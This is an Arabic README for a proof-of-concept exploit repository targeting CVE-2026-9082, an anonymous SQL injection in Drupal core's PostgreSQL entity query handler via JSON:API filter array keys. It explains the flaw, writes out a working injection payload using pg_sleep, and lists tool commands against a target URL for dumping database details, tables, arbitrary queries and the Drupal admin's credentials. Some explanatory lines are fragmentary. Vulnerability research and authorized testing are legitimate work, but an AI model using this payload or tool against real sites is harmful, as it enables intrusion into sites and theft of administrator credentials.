
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. إثبات المفهوم الأخلاقي لثغرة دروبال التي تسمح بحقن SQL مجهول عبر وحدة JSON:API على المواقع المدعومة بقاعدة بيانات PostgreSQL.
يوفر هذا المستودع إثبات المفهوم الأخلاقي (PoC) لـ CVE-2026-9082، وهي ثغرة حقن SQL عالية الخطورة في Drupal Core تؤثر على جميع المواقع التي تستخدم PostgreSQL وتشغل Drupal من الإصدار 8.0 حتى 11.3.9.
تقع الثغرة في معالج شرط استعلام الكيانات الخاص بـ PostgreSQL ويمكن استغلالها من قبل المستخدمين المجهولين (غير المصادق عليهم) عبر وحدة JSON:API، والتي تكون ممكّنة افتراضيًا منذ Drupal 9.
التنبيه الرسمي: SA-CORE-2026-004
يتضمن Drupal Core واجهة برمجة تطبيقات (API) لتجريد قاعدة البيانات مصممة لتعقيم
الاستعلامات ومنع حقن SQL. ثغرة في فئة شرط استعلام الكيانات الخاصة بـ PostgreSQL
(core/modules/pgsql/src/EntityQuery/Condition.php) تسمح للمهاجم
بحقن SQL عشوائي عبر مفاتيح مصفوفة يتحكم بها المستخدم تُمرر
عبر معاملات تصفية JSON:API.
translateCondition() في فئة شرط PostgreSQL بالتكرار عبر
$condition['value'] وتستخدم مفاتيح المصفوفة لبناء
أسماء عناصر نائبة PDO:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_].
عندما يحتوي المفتاح على )، يتوقف PDO عن تحليل اسم العنصر النائب —
كل ما بعد ذلك يصبح SQL حرفيًا محقونًا في الاستعلام.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--، يُغلق المهاجم
عبارة IN() ويُضيف SQL عشوائي، بينما يتم استيفاء الربط لـ
:prefix_1 بواسطة مفتاح شرعي 1 في نفس الطلب.
هذه الأداة مخصصة فقط لاختبار الأمان المصرح به والأغراض التعليمية والبحث الأخلاقي. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich# Check if target is vulnerable
python3 CVE-2026-9082.py -u https://target.com --check
# Extract PostgreSQL version
python3 CVE-2026-9082.py -u https://target.com --version
# Extract database info (user + db name)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Extract Drupal admin credentials (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# List database tables
python3 CVE-2026-9082.py -u https://target.com --tables
# Custom SQL query extraction
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# Use boolean-based extraction (faster but less reliable)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# Interactive mode (no arguments)
python3 CVE-2026-9082.py